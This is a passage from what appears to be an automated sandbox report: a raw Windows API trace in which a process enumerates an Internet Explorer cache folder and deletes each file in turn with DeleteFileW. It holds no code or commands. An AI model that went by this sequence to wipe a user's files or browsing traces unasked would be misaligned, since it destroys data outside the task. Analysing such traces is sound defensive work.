pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="js[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\js[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\js[1]" [0101.468] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\js[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\js[1]")) returned 1 [0101.468] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf23c1e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcf23c1e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcf2884a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x77b3, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="latest[1].eot", cAlternateFileName="LATEST~1.EOT")) returned 1 [0101.468] lstrlenW (lpString="latest[1].eot") returned 13 [0101.468] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="latest[1].eot" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\latest[1].eot") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\latest[1].eot" [0101.468] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\latest[1].eot" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\latest[1].eot")) returned 1 [0101.477] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0710260, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd0710260, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd0710260, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x23, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="match[1].gif", cAlternateFileName="MATCH_~1.GIF")) returned 1 [0101.478] lstrlenW (lpString="match[1].gif") returned 12 [0101.478] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="match[1].gif" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\match[1].gif") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\match[1].gif" [0101.478] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\match[1].gif" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\match[1].gif")) returned 1 [0101.478] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcecc5310, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcecc5310, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcecc7a20, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x14d5, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="meversion[1]", cAlternateFileName="MEVERS~1")) returned 1 [0101.478] lstrlenW (lpString="meversion[1]") returned 12 [0101.478] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="meversion[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\meversion[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\meversion[1]" [0101.478] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\meversion[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\meversion[1]")) returned 1 [0101.492] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0f8b0c0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd0f8b0c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd0f8b0c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xfd6, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="microsoft-gray[1].png", cAlternateFileName="MICROS~1.PNG")) returned 1 [0101.492] lstrlenW (lpString="microsoft-gray[1].png") returned 21 [0101.492] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="microsoft-gray[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\microsoft-gray[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\microsoft-gray[1].png" [0101.492] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\microsoft-gray[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\microsoft-gray[1].png")) returned 1 [0101.498] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf82f8e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcf82f8e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcf82f8e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xec5, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="MSNIdSync[1].js", cAlternateFileName="MSNIDS~1.JS")) returned 1 [0101.498] lstrlenW (lpString="MSNIdSync[1].js") returned 15 [0101.498] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="MSNIdSync[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\MSNIdSync[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\MSNIdSync[1].js" [0101.498] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\MSNIdSync[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\msnidsync[1].js")) returned 1 [0101.516] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbc748a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbc748a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbf482c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x922, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="msn[1].htm", cAlternateFileName="MSN_1_~1.HTM")) returned 1 [0101.516] lstrlenW (lpString="msn[1].htm") returned 10 [0101.516] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="msn[1].htm" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\msn[1].htm") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\msn[1].htm" [0101.516] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\msn[1].htm" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\msn[1].htm")) returned 1 [0101.527] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd11a0400, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd11a0400, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd11a0400, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x30c7, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="ms[1].js", cAlternateFileName="MS_1_~1.JS")) returned 1 [0101.531] lstrlenW (lpString="ms[1].js") returned 8 [0101.532] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="ms[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\ms[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\ms[1].js" [0101.535] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\ms[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\ms[1].js")) returned 1 [0101.573] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1be42e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd1be42e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd1be42e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x2b, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="pixel[1].gif", cAlternateFileName="PIXEL_~1.GIF")) returned 1 [0101.573] lstrlenW (lpString="pixel[1].gif") returned 12 [0101.573] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="pixel[1].gif" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\pixel[1].gif") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\pixel[1].gif" [0101.573] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\pixel[1].gif" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\pixel[1].gif")) returned 1 [0101.622] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1b11fd60, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1b11fd60, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1b11fd60, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0xacb, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="surly[1].js", cAlternateFileName="SURLY_~1.JS")) returned 1 [0101.623] lstrlenW (lpString="surly[1].js") returned 11 [0101.623] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="surly[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\surly[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\surly[1].js" [0101.623] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\surly[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\surly[1].js")) returned 1 [0101.629] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1639d100, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1639d100, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x163e93c0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0xff26, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="URRYV-HX35J-LK4WZ-4TRKG-NBMKC[1]", cAlternateFileName="URRYV-~1")) returned 1 [0101.629] lstrlenW (lpString="URRYV-HX35J-LK4WZ-4TRKG-NBMKC[1]") returned 32 [0101.629] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="URRYV-HX35J-LK4WZ-4TRKG-NBMKC[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\URRYV-HX35J-LK4WZ-4TRKG-NBMKC[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\URRYV-HX35J-LK4WZ-4TRKG-NBMKC[1]" [0101.629] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\URRYV-HX35J-LK4WZ-4TRKG-NBMKC[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\urryv-hx35j-lk4wz-4trkg-nbmkc[1]")) returned 1 [0101.630] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbfe0840, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbfe0840, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbfe0840, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x336d, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="v2[1]", cAlternateFileName="V2_1_~1")) returned 1 [0101.630] lstrlenW (lpString="v2[1]") returned 5 [0101.630] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="v2[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\v2[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\v2[1]" [0101.630] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\v2[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\v2[1]")) returned 1 [0101.686] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbfe0840, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbfe0840, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbfe0840, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x39d7, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="v2[2]", cAlternateFileName="V2_2_~1")) returned 1 [0101.686] lstrlenW (lpString="v2[2]") returned 5 [0101.686] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="v2[2]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\v2[2]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\v2[2]" [0101.686] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\v2[2]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\v2[2]")) returned 1 [0101.686] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc28e100, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc28e100, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc28e100, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x3bd6, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="v2[3]", cAlternateFileName="V2_3_~1")) returned 1 [0101.686] lstrlenW (lpString="v2[3]") returned 5 [0101.686] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="v2[3]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\v2[3]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\v2[3]" [0101.686] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\v2[3]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\v2[3]")) returned 1 [0101.687] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf61a5a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcf61a5a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcf666860, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x2ef2, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="v2[4]", cAlternateFileName="V2_4_~1")) returned 1 [0101.687] lstrlenW (lpString="v2[4]") returned 5 [0101.687] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="v2[4]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\v2[4]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\v2[4]" [0101.687] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\v2[4]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\v2[4]")) returned 1 [0101.687] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf666860, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcf666860, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcf666860, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x39d0, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="v2[5]", cAlternateFileName="V2_5_~1")) returned 1 [0101.687] lstrlenW (lpString="v2[5]") returned 5 [0101.687] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="v2[5]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\v2[5]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\v2[5]" [0101.687] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\v2[5]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\v2[5]")) returned 1 [0101.723] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf6b2b20, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcf6b2b20, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcf6b2b20, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x3348, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="v2[6]", cAlternateFileName="V2_6_~1")) returned 1 [0101.723] lstrlenW (lpString="v2[6]") returned 5 [0101.723] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="v2[6]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\v2[6]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\v2[6]" [0101.723] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\v2[6]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\v2[6]")) returned 1 [0101.723] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x18f0e280, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x18f0e280, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x18f0e280, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x319b, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="v2[7]", cAlternateFileName="V2_7_~1")) returned 1 [0101.723] lstrlenW (lpString="v2[7]") returned 5 [0101.723] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT", pszFile="v2[7]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\v2[7]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\v2[7]" [0101.723] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\1WL4SQRT\\v2[7]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\1wl4sqrt\\v2[7]")) returned 1 [0101.747] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ab527c0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1ab527c0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1ab9ea80, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x31ee, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="v2[8]", cAlternateFileName="V2_8_~1")) returned 1 [0101.747] lstrlenW (lpString="v2[8]") returned 5 [0101.747] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 